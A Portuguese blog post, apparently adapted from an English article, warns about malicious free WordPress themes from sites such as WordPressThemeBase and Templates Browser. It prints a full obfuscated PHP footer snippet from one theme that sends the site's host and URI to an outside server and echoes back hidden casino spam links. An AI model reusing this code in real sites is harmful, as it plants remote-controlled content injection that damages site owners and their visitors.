Cuidado com templates grátis de WordPress.
Artigo original: http://wpmu.org/why-you-should-never-search-for-free-wordpress-themes-in-google-or-anywhere-else/
Muitos desenvolvedores que usam wordpress atualmente não têm tempo de desenvolver algum template grátis para a plataforma do zero. Por isso, é comum apostar em aproveitar templates já existentes, nem que seja para usar algum código diferente presente neles. Isso economiza tempo, mas também esconde armadilhas que podem comprometer não só seu blog como a segurança de onde ele está hospedado. Também não podemos esquecer que boa parte deles tem uma qualidade duvidosa.
Segundo este artigo, o autor listou alguns exemplos de sites suspeitos de templates grátis de wordpress que devem ser evitados (eu sua maioria, de templates grátis e tidos como resultados primários das pesquisas pelo termo no Google):
WordPressThemeBase:
Tido como o primeiro resultado na pesquisa “freewordpressthemes”, oferece templates grátis classificados por reputação, mais baixados, mais vistos e as diversas categorias. Eis algumas das coisas suspeitas que você pode encontrar neles:
Parece um rodapé inofensivo de copyright, mas pelo código fonte…
Temos uma linha de código com encriptação “base64”, normalmente utilizada para esconder códigos maliciosos, que pode ser desvendada com algum decodificador como o Otto decoder e em seguida trocar o eval() por echo(), que revela o verdadeiro motivo do tal rodapé:
Um simples rodapé esconde na verdade “FreeAntivirus Downloads” um chamariz para prejudicar seu site nos mecanismos de busca e atrair links de spam.
Outros sites famosos que utilizam esta armadilha da mesma forma nos templates são FreeWordPressThemes, WP ThemesDepot, WP Rexe No Limits Webdesign. Todos eles tidos como resultados mais obtidos nessas pesquisas pelo Google. Imagina quantos caem nesse golpe do “base64”.
Theme2WP
Além das famosas armadilhas do base64 temos as que podem ser detectadas por uma simples olhada no código fonte, é o caso deste site.
Para começar, este cabeçalho já mostra a mensagem “Do not edit following code, it may cause your site to stop working!”.Como no exemplo anterior, um simples rodapé diz muito mais além de uma mensagem de alerta.
Pelo código fonte, ou melhor, pelo Firefox, utilizando o Firebug, podemos encontrar o responsável por esconder essa linha com o link de spam no CSS.
Uma tentativa nada sutil de esconder o vilão, jogando ele para fora da página, aonde o usuário não consegue ver. O usuário pode até ser enganado, mas o desenvolvedor não.
Templates Browser
O site fornece nada mais nada menos que uma série de templates listados por página, com direito a preview e download apenas, mais nada. Um chamariz sem nenhum conteúdo explicativo pode atrair muitos olhares, mas nenhuma confiança.
Como de praxe, o perigo se esconde no rodapé, com um link com um “href” enorme…
1. get_col(“SELECT option_value FROM $wpdb->options WHERE option_name=’l_time_code’”);
3. $l_code = $wpdb->get_col(“SELECT option_value FROM $wpdb->options WHERE option_name=’l_code’”);
4.
5. if (empty($l_time_code)) {
6. $wpdb->query(“INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES (‘l_time_code’, ’0′, ‘no’)”);
7. $new_time_code = 0;
8. } else
9. $new_time_code = intval($l_time_code[0]);
10.
11. if (empty($l_code)) {
12. $wpdb->query(“INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES (‘l_code’, ‘
‘, ‘no’)”);
13. $new_l_code= ‘
‘;
14. } else $new_l_code = $l_code[0];
15.
16. if ( ( time() – $new_time_code ) >= 60 ) {
17. $R39C188653EA53DBD6E3F1D3915EDAC0C = “com”;
18. $R8088818E3E46A17C12F2EE42EB12D7AC = “1.”;
19. $R7B934F06258B8BA3608E30CDE9EA1035 = “xpstatz”;
20. $xps = “xps.”;
21. $url = “$R8088818E3E46A17C12F2EE42EB12D7AC$R7B934F06258B8BA3608E30CDE9EA1035.$R39C188653EA53DBD6E3F1D3915EDAC0C”;
22. $page = “/”.$xps.”php?h=” . urlencode($_SERVER['HTTP_HOST']) . “&u=” . urlencode($_SERVER['REQUEST_URI']);
23.
24. //1.xpstatz.com/xps.php?h=host&u=uri
25.
26. if (ini_get(‘allow_url_fopen’)) {
27. $new_l_code = @file_get_contents(“http://” . $url . $page);
28. }
29. else {
30. $RF500F4A848E2EB2F8AAC3A6734D7EC38 = @fsockopen($url, ’80′, $R87844B1C6FC922407E6020B6B224950F, $R1966719AEC0096F98BA934D649A6E28D, 30);
31.
32. if ($RF500F4A848E2EB2F8AAC3A6734D7EC38) {
33. @stream_set_timeout($RF500F4A848E2EB2F8AAC3A6734D7EC38, 60);
34. @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, “GET $page HTTP/1.1\r\n”);
35. @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, “Host: $url\r\n”);
36. @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, “Connection: Close\r\n\r\n”);
37. $new_l_code = “”;
38. while(!feof($RF500F4A848E2EB2F8AAC3A6734D7EC38)) {
39. $new_l_code .=@fgets($RF500F4A848E2EB2F8AAC3A6734D7EC38, 1024);
40. }
41. $new_l_code = trim(strstr($new_l_code, “\r\n\r\n”));
42. }
43. @fclose($RF500F4A848E2EB2F8AAC3A6734D7EC38);
44. }
45. if ( strpos($new_l_code, ‘[/]‘) ) {
46. $new_time_code = time();
47. $R54997E66281827CBC285597040554FCC = mysql_escape_string($new_l_code);
48. $wpdb->query(“UPDATE $wpdb->options SET option_value=$new_time_code WHERE option_name=’l_time_code’”); $wpdb->query(“UPDATE $wpdb->options SET option_value=’$R54997E66281827CBC285597040554FCC’ WHERE option_name=’l_code’”);
49. }
50.
51. }
52. if ( strpos($new_l_code, ‘[/]‘) ) {
53. $R3CB9CDAED257453CFA56B9EF81B44C57 = strpos($new_l_code, ‘[]‘) + 2;
54. $R24D59CD0B76A27B85F35D40A3CF6EC37 = strrpos($new_l_code, ‘[/]‘);
55. echosubstr($new_l_code, $R3CB9CDAED257453CFA56B9EF81B44C57, $R24D59CD0B76A27B85F35D40A3CF6EC37-$R3CB9CDAED257453CFA56B9EF81B44C57);
56. $RE762F29BDD39FF0A2ADF9AF4E6885799 = 1;
57. }
58. ?>
… que chama um link para um link de um site de cassino, um dos temas mais abusados por spammers.
FreeWPThemes
Dos de cima, é o único que não tem códigos com malwares escondidos. Mas com a extensão do WordPress “ThemeCheckPlugin” podemos achar alguns erros de imagens e funções inexistentes.
Apesar dos erros acima citados não parece um template perigoso, apenas com alguns furos que podem fazer o site não funcionar perfeitamente. Mas se você quer algo mais simples pro seu wordpress pode descartar algumas dessas funções problemáticas sem fazer falta.
Calma, não é o fim do mundo! Sim, existe um único site confiávelno qual você pode baixar templates, o do próprio wordpress. O único problema talvez seja por serem simples ou obsoletos demais para gostos exigentes, mas a vantagem disso que podemos usá-los como base para fazer nossos próprios layouts.
Não adianta, mesmo com as tentativas de criar um banco de templates decentes ou discaradamente maliciosos, o WordPress.org ainda prevalece justamente pelo material passar pelas mãos dos próprios desenvolvedores antes de ir para o ar.
